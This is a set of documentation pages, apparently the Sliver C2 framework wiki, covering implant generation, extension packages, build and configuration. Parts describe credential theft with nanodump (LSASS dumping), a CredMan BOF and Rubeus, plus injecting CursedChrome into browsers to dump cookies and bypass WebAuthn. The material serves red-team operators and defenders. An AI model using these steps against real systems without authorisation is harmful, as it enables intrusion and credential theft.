- **Sliver Server -** The Sliver server is also part of the `sliver-server` executable and manages the internal database, starts/stops network listeners (such as C2 listeners, though there are other types). The main interface used to interact with the server is the gRPC interface, thru which all functionality is implemented. By default the server will only start an in-memory gRPC listener that can only be communicated with from the server console. However, the gRPC interface can also be exposed to the network (i.e., multiplayer mode) over mutual TLS (mTLS).
- **Sliver Client -** The client console is the primary user interface that is used to interact with the Sliver server. Note that most of the code in the server console is actually the client console. The client console can also be compiled into a separate client binary file `sliver-client`, which is generally used to connect to the "mutliplayer" gRPC network listener.
- **Implant -** The implant is the actual malicious code run on the target system you want remote access to.
```
In ┌───────────────┐ C2
┌─────────┐ Memory │ │ Protocol ┌─────────┐
│ Server ├────────────►│ Sliver Server ├─────────►│ Implant │
│ Console │ │ │ └─────────┘
└─────────┘ └───────────────┘
▲
│
│gRPC/mTLS
│
┌────┴────┐
│ Sliver │
│ Client │
└─────────┘
```
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
## Sliver Server
WIP
+49
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@@ -0,0 +1,49 @@
The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
## The Official Armory
The official armory ships with Sliver binaries and is included by default in the `Makefile` when compiling from source. You can interact with the Armory using the `armory` command. Packages installed from the official armory are compiled and cryptographically signed by the Sliver authors. While we make a best effort to review 3rd party code, you are responsible for reviewing and understanding any 3rd party code before using it. Source code for any alias or extension can be found under the [Sliver Armory GitHub](https://github.com/sliverarmory) organization.
#### Installing Packages
List available packages by running the `armory` command without arguments, packages are installed using the package's command name:
```
sliver > armory install rubeus
[*] Installing alias 'Rubeus' (v0.0.21) ... done!
sliver > rubeus -h
[Rubeus] Rubeus is a C# tool set for raw Kerberos interaction and abuses.
...
```
#### Updating Packages
You can update all installed aliases and extensions by running `armory update` command.
```
sliver > armory update
[*] All aliases up to date!
[*] 1 extension(s) out of date: coff-loader
[*] Installing extension 'coff-loader' (v1.0.10) ... done!
```
#### Removing Packages
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectfully.
Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client.
## Private Armories
Sliver has experimental support for self-hosted private armories, but I've not gotten around to testing & writing the documentation for these, so you'll have to read thru the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
@@ -0,0 +1,19 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable.
#### Parsing Audit Logs
The audit log is stored in a newline delimited (one object per line) nested-JSON format designed to be primarily machine readable, an example entry is shown below:
```
{"level":"info","msg":"{\"request\":\"{\\\"Port\\\":8888}\",\"method\":\"/rpcpb.SliverRPC/StartMTLSListener\"}","time":"2021-06-16T10:22:54-05:00"}
```
**NOTE:** Due to limitations in the logging APIs the audit log contains nested JSON objects that may require additional parsing.
The top level JSON should always contain:
- `level` - The level indicates the type of action performed. Currently, `info` indicates commands and `warn` indicates events.
- `msg` - A JSON object encoded as a string. This object should always contain a `request` and a `method`. The contents of `method` indicate which command was executed, `request` will contain parameters to that command. The contents of `request` will vary depending on the command, but it will be based on the corresponding gRPC/Protobuf message.
- `time` - The server's timestamp of the log entry
@@ -0,0 +1,119 @@
Sliver v1.5 and later support the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
### BOF Extensions
BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager:
**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it.
```
sliver > armory install nanodump
[*] Installing extension 'nanodump' (v0.0.5) ... done!
sliver > nanodump -h
A Beacon Object File that creates a minidump of the LSASS process.
Usage:
======
nanodump [flags] pid dump-name write-file signature
Args:
=====
pid int The PID of the process you want to dump.
dump-name string The name of the dump file.
write-file int 1 = write file, 0 = fileless
signature string Signature used for evasion, PMDM = default
Flags:
======
-h, --help display help
-s, --save Save output to disk
-t, --timeout int command timeout in seconds (default: 60)
```
### Converting BOFs to Sliver
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json` though based on what arguments/etc. the BOF accepts.
To determine the arguments a BOF accepts and their types, you'll need to read `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is show below:
```
alias CredMan {
local('$handle $data $args $2');
if(size(@_) != 3){
berror($1, "CredMan: not enough arguments,Usage: CredMan [user process id] ");
return;
}
$handle = openf(script_resource("CredMan.o"));
$data = readb($handle, -1);
closef($handle)
$args = bof_pack($1,"i",$2);
btask($1, "Running CredMan");
beacon_inline_execute($1,$data,"go",$args);
}
beacon_command_register(
"CredMan",
"Enables SeTrustedCredManAccess Privilege in a token stolen from winlogon.exe to dump Windows Credential Manager");
```
| Type | Description | Sliver Type |
| ---- | -------------------------------- | ---------------------------- |
| b | binary data | `file` (path to binary data) |
| i | 4-byte integer | `int` or `integer` |
| s | 2-byte short integer | `short` |
| z | zero-terminated+encoded string | `string` |
| Z | zero-terminated wide-char string | `wstring` |
Looking at the script we can see the BOF requires a single integer argument. The corresponding Sliver `extension.json` file is shown below. Note that BOFs will always rely on the `coff-loader` extension but other kinds of extensions may not. If the `coff-loader` extension is not already installed on your system, it can be installed using `armory install coff-loader`. You can list installed extensions by simply running the `extensions` command with no arguments.
```json
{
"name": "credman",
"version": "1.0.0",
"command_name": "credman",
"extension_author": "lesnuages",
"original_author": "jsecu",
"repo_url": "https://github.com/sliverarmory/CredManBOF",
"help": "Dump credentials using the CredsBackupCredentials API",
"long_help": "",
"depends_on": "coff-loader",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "credman.x64.o"
},
{
"os": "windows",
"arch": "386",
"path": "credman.x86.o"
}
],
"arguments": [
{
"name": "pid",
"desc": "PID of a process started by the target user",
"type": "int",
"optional": false
}
]
}
```
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page.
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
@@ -0,0 +1,37 @@
⚠️ **NOTE:** This guide is intended for absolute beginners to the red team space, please see the [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) guide for a more straight forward tutorial if that's not you.
# The Red Team Beginner's Guide to Sliver
⚠️ This page is a work in progress and is incomplete, you may want to read [Getting Started](https://github.com/BishopFox/sliver/wiki/Getting-Started) or the [Community Guides](https://github.com/BishopFox/sliver/wiki/Community-Guides) instead for the time being.
## Introduction
### What's a C2?
A command and control (C2) framework allows attackers to fully leverage existing access to computer systems or networks. C2 frameworks such as Sliver by themselves will generally not get you access to systems that you do not already have. There are many techniques for gaining initial access, however some of the most common are exploiting software vulnerabilities using something like [Metasploit](https://www.metasploit.com/), or by social engineering a user to inadvertently execute a C2 payload. Regardless of the initial access method, the subsequent steps taken by an attacker are referred to as "post-exploitation" activities.
Throughout this guide and the Sliver code base the following terms of art are used. These definitions may vary slightly across the industry but this is how we define them:
- **Implant** - A generic term for piece of software used to maintain access to an environment or system, generally through the use of command and control (C&C, C2, etc.), this is the code that the attack executes on the target machine as well as maintain access. The term "implant" is often interchangeable with "agent."
- **Beacon** - May refer to (1) a communication pattern where an implant periodically connects to the C2 server as apposed to using a stateful/real time connection (2) [Cobalt Strike's](https://www.cobaltstrike.com/) primary implant, more often called "CS Beacon." In the context of Sliver, "Beacon" specifically refers to a Sliver implant that implements definition (1) communication style.
- **Stage** - A "stage" or "staged payload" is a method of loading a piece of code, typically over a network, onto a remote machine. Traditionally staging was used in conjunction with exploits that had size limitations. Typically the goal is to execute a small piece of code, i.e. the "stager," which in turn loads a larger piece of code. Staged payloads are still used in this way today, however they are also often useful for bypassing anti-virus detection since the majority of the malicious code is loaded directly into memory. Stages are sometimes number e.g. a "stage 0" will load a "stage 1" which loads a "stage 2" payload.
### Selecting a C2 Framework
You should always choose the right tool for the right job. There are many open source, as well as commercially available C2 frameworks to choose from. A key element to successful red teams, is the ability understand how all these tools work, and when best to apply them given the contextual variables of an operation or action. The [C2 Matrix](https://www.thec2matrix.com/) has a good overview of both commercial and open source frameworks -though the Sliver entry is a bit out of date.
Here is a high level overview of open source frameworks we recommend in addition to Sliver, and some advantages/disadvantages of each:
#### [Sliver](https://github.com/BishopFox/sliver)
Both the Sliver server and implant are written in Golang (the Go programming language). This makes setup of a basic Sliver deployment as easy as running the server binary. The Sliver implant is also written in Golang, which means it's easy to cross-compile to a variety of platforms. However, the tradeoff here is that the executable files (e.g., a .exe) can be sizable (up to 20Mb depending on options), as in life nothing is free.
#### [Mythic](https://github.com/its-a-feature/Mythic)
A Mythic deployment consists of several components implemented in a variety of languages, setup of a deployment is relatively automated however isn't as simple as Sliver or Merlin. However, Mythic makes it much easier to integrate 3rd party or modified implants to avoid detection in comparison to Sliver or Merlin. Mythic also features a multi-user web interface making collaboration between operators easy. The stability, features, and stealth of Mythic implants varies depending on the agent implementation you choose, which is important to keep in mind during operational planning.
#### [Merlin](https://github.com/Ne0nd0g/merlin)
The Merlin server and implant are also implemented in Golang.
@@ -0,0 +1,34 @@
Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do.
Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the `generate` command. For example:
```
generate --http http://example.com?driver=wininet
```
### HTTP C2 Advanced Options
- `net-timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `tls-timeout` - TLS handshake timeout value, parsed by `time.ParseDuration`.
- `poll-timeout` - Poll timeout value, parsed by `time.ParseDuration`.
- `max-errors` - Max number of HTTP errors before failing (integer parsed by `strconv.Atoi`).
- `driver` - Manually specify the HTTP driver (string). On windows this value can be set to `wininet` to use the `wininet` HTTP library for C2 communication.
- `force-http` - Set to `true` to always force the use of plaintext HTTP.
- `disable-accept-header` - Set to `true` to disable the HTTP accept request header.
- `disable-upgrade-header` - Set to `true` to disable the HTTP upgrade request header.
- `proxy` - Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example, `?proxy=http://myproxy.corp.com:8080`
- `proxy-username` - Specify a proxy username. Only valid with the Go HTTP driver.
- `proxy-password` - Specify the proxy password. Only valid with the Go HTTP driver.
- `ask-proxy-creds` - Set to `true` to ask the user for HTTP proxy credentials. Only valid when used with the `wininet` HTTP driver.
- `host-header` - Used for domain fronting.
### DNS C2 Advanced Options
- `timeout` - Network timeout value, parsed by `time.ParseDuration`.
- `retry-wait` - Upon query failure, wait this amount of time before retrying.
- `retry-count` - Upon query failure, retry this many times before failing.
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
- `force-base32` - Always use Base 32 encoding.
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`
@@ -0,0 +1,52 @@
⚠️ **IMPORTANT:** This content was NOT created by the Sliver authors. Please keep in mind it may be out of date or contain slight inaccuracies:
### Books
- https://www.amazon.com/Adversarial-Tradecraft-Cybersecurity-real-time-computer/dp/1801076200/
### Videos
- https://youtu.be/3R6WKUgN0K4?t=456
- https://www.youtube.com/watch?v=QO_1UMaiWHk
- https://www.youtube.com/watch?v=izMMmOaLn9g
- https://www.youtube.com/watch?v=qIbrozlf2wM
- https://www.youtube.com/watch?v=CKfjLnEMfvI
### Blogs
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-part-ea2
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
### Opsec Blogs
- https://tishina.in/opsec/sliver-opsec-notes
### Development Blogs
- https://github.com/thelikes/blog/blob/master/posts/sliver-bof-dev-quickstart.md
- https://medium.com/@youcef.s.kelouaz/writing-a-sliver-c2-powershell-stager-with-shellcode-compression-and-aes-encryption-9725c0201ea8
- https://security.humanativaspa.it/customizing-sliver-part-1/
- https://security.humanativaspa.it/customizing-sliver-part-2/
- https://security.humanativaspa.it/customizing-sliver-part-3/
### Detection & Analysis
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
- https://blog.tofile.dev/2021/09/04/sliver.html
- https://bherunda.medium.com/hunting-detecting-smb-named-pipe-pivoting-lateral-movement-b4382bd1df4
### Threat Intel Reports
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
- https://www.cybereason.com/blog/sliver-c2-leveraged-by-many-threat-actors
- https://www.team-cymru.com/post/sliver-case-study-assessing-common-offensive-security-tools
- https://www.ncsc.gov.uk/files/Advisory%20Further%20TTPs%20associated%20with%20SVR%20cyber%20actors.pdf
@@ -0,0 +1,97 @@
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
### Compile From Source (No Docker)
From scratch without Docker, requirements for compiling:
- Go v1.20 or later, though we recommend Go v1.21
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
#### Compiling
First git clone the repository:
```
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver
```
The `master` branch will contain the latest Sliver features, however only release version of Sliver are recommended for production use. It is strongly recommended to checkout the latest tagged release branch when compiling from source unless you're a developer:
```
$ git checkout tags/v1.5.39
```
Sliver embeds its own copy of the Go compiler and a few internal tools, the first time your run `make` a bash script will run to download these assets to your local system. This means the first build will take much longer than subsequent builds, especially if your internet connection is slow.
By default `make` will build whatever platform you're currently running on:
```
$ make
```
This will create `sliver-server` and `sliver-client` binaries.
#### Cross-compile to Specific Platforms
You can also specify a target platform for the `make` file, though you may need cross-compilers (see below):
```
$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
```
### Docker Build
The Docker builds are mostly designed for running unit tests, but can be useful if you want a "just do everything" build, you just need to have Docker installed on the machine. First `git clone` the Sliver repo, then run the `build.py` script (the script isn't required but has a few short cuts see `./build.py --help`). Alternatively, execute the following command:
```
docker build -t sliver .
```
The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
### Windows Builds
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
- MacOS `brew install mingw-w64`
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
## Developers
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
- Protoc v3.19.4 or later
- Protoc-gen-go v1.27.1
- Protoc-gen-go-grpc v1.2.0
#### `protoc`
First install your platform's version of `protoc` v3.19.4 or later:
https://github.com/protocolbuffers/protobuf/releases/latest
Ensure that correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
#### `protoc-gen-go` `protoc-gen-go-grpc`
Assuming `$GOPATH/bin` is on your `$PATH` simply run the following commands to install the appropriate versions of `protoc-gen-go` and `protoc-gen-go-grpc`:
```
go install google.golang.org/protobuf/cmd/[email protected]
go install google.golang.org/grpc/cmd/[email protected]
```
Ensure that these are both on your `$PATH` after running the commands, if not you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
```
$ make pb
```
@@ -0,0 +1,86 @@
# Server Configuration
### General Server Configuration
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
#### Default Server Config
```json
{
"daemon_mode": false,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
}
}
```
#### Configuration Options
- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `deamon_mode` client listener to.
- `logs` - An object containing configure options for server logs
- `level` - The `logrus` logging level (1 - 5), default this is set to `4`, which is the`INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
## Database Configuration
Starting in version v1.1.0 Sliver supports SQL database configurations, by default this configuration file is located at `~/.sliver/configs/database.json`:
#### Default Database Configuration
```json
{
"dialect": "sqlite3",
"database": "",
"username": "",
"password": "",
"host": "",
"port": 0,
"params": null,
"max_idle_conns": 10,
"max_open_conns": 100,
"log_level": "warn"
}
```
#### Configuration Options
- `dialect` - Defines the type of database to connect to, Sliver supports `mysql`, `postgresql`, and `sqlite3`. By default an internal version of `sqlite3` is used, which is saved to `~/.sliver/sliver.db` by default.
- `database` - The name of the database to connect to, note that this option is ignored when using `sqlite3`.
- `username` - Database username.
- `password` - Database password.
- `host` - Database host.
- `port` - Database TCP port.
- `params` - Is a key/value string map that can be used to pass dialect specific options to the DSN/connection string. This can be used for example to enable SSL/TLS on certain database connections.
- `max_idle_conns` - Max idle connections in the database connection pool.
- `max_open_conns` - Max open connections in the database connection pool.
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
# Client Configuration
### Operator
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
```json
{
"operator": "moloch",
"lhost": "localhost",
"lport": 31337,
"ca_certificate": "-----BEGIN CERTIFICATE-----\nMIIBoTCCASegAwIBAgIRAPhwFTptJKJM4Bef71nA29YwCgYIKoZIzj0EAwMwCzEJ\nMAcGA1UEChMAMB4XDTIwMDExNDIyNTY1NloXDTIzMDExMzIyNTY1NlowCzEJMAcG\nA1UEChMAMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEmvGJZ8zDqLxge2PfhK1QcdOi\n6kEV8vgz/S1fSiU9h21JDVaX+FFhG2cYIzr1Q3zE2Ml+pUdnwUSk24pFFTUhjlsO\n4H2YQC/W46DXSa8VQdvpfDaTPYLzXuBhsdVcn2rdo08wTTAOBgNVHQ8BAf8EBAMC\nAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEwEB/wQFMAMB\nAf8wCwYDVR0RBAQwAoIAMAoGCCqGSM49BAMDA2gAMGUCMQDOj0sVrVoJSkN4qiqn\nS9wMFNeVOZ+5TVZOOpTn19nc4C/wq9jwdYRHW1dlmvWu2LMCMCm2y1TkaWLa/i4t\nArTCIiCmNVRxAR1xFsWama9yv7wFY0+5xKS7W944418v0jYJKA==\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBido1KtKSwQah/WIoGkDZDX2WPXdexUVAmi0tf6Pd9vK5pfpt2II+n\n8BqkV0ifyjugBwYFK4EEACKhZANiAATHATh7e8uX/MN5mokguQf4ywXgTaihYD//\nyraEUcZAYsrCtDHmdAH356GPrxlPSpwyWhFV3fIQJKI2Hf/8/mAd3wqCGQQzq5Mt\ncM0B36+vP9wOGsTI/tc32+0glRZoxo8=\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\nMIIBiTCCAQ+gAwIBAgIQZLa8QUXWDnuht3G9+g9yKTAKBggqhkjOPQQDAzALMQkw\nBwYDVQQKEwAwHhcNMTkwNzIyMjE1MzAzWhcNMjIwNzIxMjE1MzAzWjAcMQkwBwYD\nVQQKEwAxDzANBgNVBAMTBm1vbG9jaDB2MBAGByqGSM49AgEGBSuBBAAiA2IABMcB\nOHt7y5f8w3maiSC5B/jLBeBNqKFgP//KtoRRxkBiysK0MeZ0AffnoY+vGU9KnDJa\nEVXd8hAkojYd//z+YB3fCoIZBDOrky1wzQHfr68/3A4axMj+1zfb7SCVFmjGj6Mn\nMCUwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMAoGCCqGSM49\nBAMDA2gAMGUCMH0hbeghZfMkhp9Wf2a7eqj8IruwKH6vQql/6nxQ8aunfCUUxWo8\nOrxxaqp+bGCCCQIxAK5Icqww8m9llhprfzENaFZUCkpyvBMm9EB8B69SBFBHcVFm\n7bqHjFFMH39g2JCy9Q==\n-----END CERTIFICATE-----\n"
}
```
**Note:** The `operator` field in this configuration file only modifies the value displayed by the client when selecting configurations, modifying it will not change what name the server uses to identify the user. The server determines the user based on the `CommonName` in the certificate. If you want to change the user name you need to regenerate the client configuration with the new name.
@@ -0,0 +1,50 @@
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box, you only need cross-compilers when using `--format shared`.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
Sliver v1.5.30 and later also support [External Builders](https://github.com/BishopFox/sliver/wiki/External-Builders), which can be used to easily cross-compile implants.
## From Linux to MacOS/Windows
To compile Windows shared library and shellcode implants from Linux, install mingw from your local package manager:
```
sudo apt install mingw-w64
```
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details):
```
sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev
git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross
curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz'
cd /opt/osxcross
UNATTENDED=1 ./build.sh
```
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
## From MacOS to Linux/Windows
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
```
brew install mingw-w64
```
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
```
brew install FiloSottile/musl-cross/musl-cross
brew install mingw-w64
```
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
## From Windows to MacOS/Linux
Good luck.
+47
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@@ -0,0 +1,47 @@
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation tool kit introduced in Sliver v1.5.25, which integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome Extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed tool kit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
## Cursed Chrome
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled, you can then use `cursed console` to interact with any debug target.
If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome), and inject the payload into the extension's execution context.
So a typical workflow looks like:
1. Setup [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
2. Pop Sliver session, or go interactive from a beacon
3. `cursed chrome --payload background.js`
4. Upstream browser to CursedChrome proxy
5. Enjoy!
## Cursed Edge
Works identically to `cursed chrome` but the UI displays "Edge" instead of "Chrome" much like Edge itself.
## Cursed Electron
The `cursed electron` command can be used to restart an Electron application with remote debugging enabled, you can subsequently use `cursed console` to interact with any debug target. Note that some Electron applications disable the remote debugging functionality, which will prevent this feature from working.
## Cursed Console
The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](https://user-images.githubusercontent.com/875022/188246398-97e5c7dd-1c21-4aeb-a57e-222fda826e66.png)
## Cursed Cookies
Starting in v1.5.28 the `cursed cookies` command can be used to dump a remote cursed process' cookies to a local file (newline delimited json), for example:
```
[server] sliver (CHRONIC_GOAT) > cursed chrome
...
[server] sliver (CHRONIC_GOAT) > cursed cookies
? Select a curse: 44199 [Session 56a5cd6f] /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
[*] Successfully dumped 437 cookies
[*] Saved to cookies-20220925182151.json
```
@@ -0,0 +1,108 @@
Although the `sliver-client` is the default way to interact with a `sliver-server` and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.
To do so, one case use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py) or write a custom client in another language. As all the communications between the client and the server are based on gRPC, any language with gRPC support should in theory be used to create a custom client.
## Writing a Go client
In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
Create a new Go project somewhere on your file system:
```
mkdir sliver-custom-client
cd sliver-custom-client
touch main.go
go mod init github.com/<your-username>/<your-project-name>
go get github.com/bishopfox/sliver
```
The module path (`github.com/<your-username>/<your-project-name>`) can be anything, as long as it respects the [requirements](https://golang.org/ref/mod#go-mod-init).
The next step is to write our client code (`main.go`):
```go
package main
import (
"context"
"flag"
"io"
"log"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
